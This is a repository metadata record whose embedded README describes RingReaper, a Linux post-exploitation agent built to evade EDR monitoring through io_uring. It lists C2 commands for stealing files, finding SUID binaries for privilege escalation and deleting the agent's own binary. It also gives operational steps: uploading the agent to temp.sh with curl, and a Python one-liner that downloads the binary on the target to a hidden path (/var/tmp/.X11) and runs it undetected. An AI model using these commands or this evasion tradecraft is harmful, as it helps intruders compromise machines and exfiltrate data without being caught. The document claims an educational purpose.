{"id":29289394,"url":"https://github.com/matheuzsecurity/ringreaper","last_synced_at":"2025-07-11T09:02:51.078Z","repository":{"id":302889169,"uuid":"1013825740","full_name":"MatheuZSecurity/RingReaper","owner":"MatheuZSecurity","description":"Simple Linux post-exploitation agent that uses io_uring to stealthily bypass EDR detection by avoiding traditional syscalls.","archived":false,"fork":false,"pushed_at":"2025-07-04T15:15:48.000Z","size":26,"stargazers_count":8,"open_issues_count":0,"forks_count":0,"subscribers_count":0,"default_branch":"main","last_synced_at":"2025-07-04T16:41:57.486Z","etag":null,"topics":["c2","evasion","iouring","malware","poc","rootkit"],"latest_commit_sha":null,"homepage":"","language":"C","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/MatheuZSecurity.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2025-07-04T14:25:31.000Z","updated_at":"2025-07-04T15:47:21.000Z","dependencies_parsed_at":"2025-07-04T16:52:14.816Z","dependency_job_id":null,"html_url":"https://github.com/MatheuZSecurity/RingReaper","commit_stats":null,"previous_names":["matheuzsecurity/ringreaper"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/MatheuZSecurity/RingReaper","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/MatheuZSecurity%2FRingReaper","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/MatheuZSecurity%2FRingReaper/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/MatheuZSecurity%2FRingReaper/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/MatheuZSecurity%2FRingReaper/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/MatheuZSecurity","download_url":"https://codeload.github.com/MatheuZSecurity/RingReaper/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/MatheuZSecurity%2FRingReaper/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":263846682,"owners_count":23519142,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["c2","evasion","iouring","malware","poc","rootkit"],"created_at":"2025-07-06T04:08:37.015Z","updated_at":"2025-07-09T07:02:17.307Z","avatar_url":"https://github.com/MatheuZSecurity.png","language":"C","funding_links":[],"categories":[],"sub_categories":[],"readme":"# RingReaper\n\n![Dororo](https://i.imgur.com/Hrmpefq.gif)\n\n**RingReaper** is a simple post-exploitation agent for Linux designed for those who need to operate stealthily, minimizing the chances of being detected by EDR solutions. The idea behind this project was to leverage **io_uring**, the new asynchronous I/O interface in the Linux kernel, specifically to avoid traditional system calls that most EDRs tend to monitor or even hook.\n\nIn practice, RingReaper replaces calls such as `read`, `write`, `recv`, `send`, `connect`, among others, with asynchronous I/O operations (`io_uring_prep_*`), reducing exposure to hooks and event tracing typically collected in a standardized way by security products.\n\n\u003e **NOTE:** Some functions within RingReaper still rely on traditional calls, such as directory reading (`opendir`, `readdir`) or symbolic link resolution (`readlink`), because io_uring **does not yet fully support** these types of operations natively. Even so, during my tests, these calls did not trigger alerts on the tested EDRs, precisely because they fall outside the monitored network I/O paths.\n\nIn summary, RingReaper was built to **avoid traditional calls as much as possible**, and even in cases where it had to use them, it demonstrated excellent evasion capabilities, with no alerts or detections from common security agents.\n\nSee the full and detailed article at:\n\nhttps://matheuzsecurity.github.io/hacking/evading-linux-edrs-with-io-uring/\n\nAuthor: https://www.linkedin.com/in/mathsalves/\n\n## Command Reference\n\n| Command       | Description                                              | Backend              |\n|---------------|----------------------------------------------------------|----------------------|\n| `get`         | Look files from the target                           | 100% io_uring        |\n| `put`         | Upload files (uses `recv` on the agent side)             | 100% io_uring        |\n| `users`       | List logged-in users by reading `utmp`                   | 100% io_uring        |\n| `ss` / `netstat` | List TCP connections from `/proc/net/tcp`            | 100% io_uring        |\n| `privesc`     | Search for SUID binaries using `statx`                   | 100% io_uring        |\n| `ps`          | List processes (uses `opendir`, `readdir`)               | traditional calls + io_uring   |\n| `kick`        | Kill `pts` sessions (uses `opendir`, `readdir`, `kill`, `readlink`) | traditional calls + io_uring |\n| `me`          | Show PID/TTY (`getpid`, `ttyname`)                       | traditional calls + io_uring   |\n| `selfdestruct`| Delete the current binary (uses `readlink`)              | traditional calls + io_uring   |\n| `exit`        | Terminate connection and exit                            | 100% io_uring        |\n| `help`        | Display help                                             | 100% io_uring        |\n\nIn RingReaper, all data traffic, including control commands, uploads, and downloads, must pass through io_uring. This also ensures that the most sensitive operations remain off the radar of hooks and EDR monitoring based on traditional calls.\n\n## About Evasion\n\nRingReaper was designed from the ground up to bypass EDR monitoring. Many security solutions base their detection triggers on intercepting classic syscalls (`read`, `recv`, `send`, `connect`) at the kernel level. Since `io_uring` is relatively new and less integrated into the telemetry pipeline of these products, it often goes unnoticed by most agents, allowing for C2 sessions and data exfiltration without triggering alerts.\n\nEven functions that still rely on older syscalls (such as directory reading) remained discreet enough not to raise alarms.\n\n## Requirements\n\n- Linux kernel 5.1 or higher  \n- `liburing` library  \n- A compatible C compiler (tested with GCC)  \n\n## Env\n\nTested **ONLY** on the following kernel versions below;\n\n- 6.8.0-60-generic\n- 6.12.25-amd64\n\n## Compilation\n\n```\nsudo apt install liburing-dev -y\ngcc agent.c -o agent -luring -O2 -s -static\n```\n\n## Execution\n\nIn testing, I noticed that EDR detected the compilation of `agent.c` by monitoring GCC usage in real time (it's better not to use wget/curl). To bypass this, I compiled the agent statically on my machine, sent the finished binary via `temp.sh` and used Python on the target to download and execute it. This technique worked without warning.\n\nServer (Attack box) : \n\n- `curl -F \"file=@agent\" https://temp.sh/upload`\n- `python3 server.py --ip IP --port 443` \n\nAgent (Target machine) :\n\n- `python3 -c \"import urllib.request,os,subprocess; u=urllib.request.Request('http://temp.sh/xxxx/stealth_agent',method='POST'); d='/var/tmp/.X11'; open(d,'wb').write(urllib.request.urlopen(u).read()); os.chmod(d,0o755); subprocess.Popen([d]);\"`\n\n## Contribution\n\nFeel free to make pull requests and contribute to the project, which is initially just a simple POC.\n\n## Disclaimer\n\nThis code was developed solely for educational purposes, research, and controlled demonstrations of evasion techniques. Any use outside authorized environments, or for malicious purposes, is strictly prohibited and entirely the responsibility of the user. Unauthorized or illegal use may violate local, national, or international laws.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmatheuzsecurity%2Fringreaper","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fmatheuzsecurity%2Fringreaper","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmatheuzsecurity%2Fringreaper/lists"}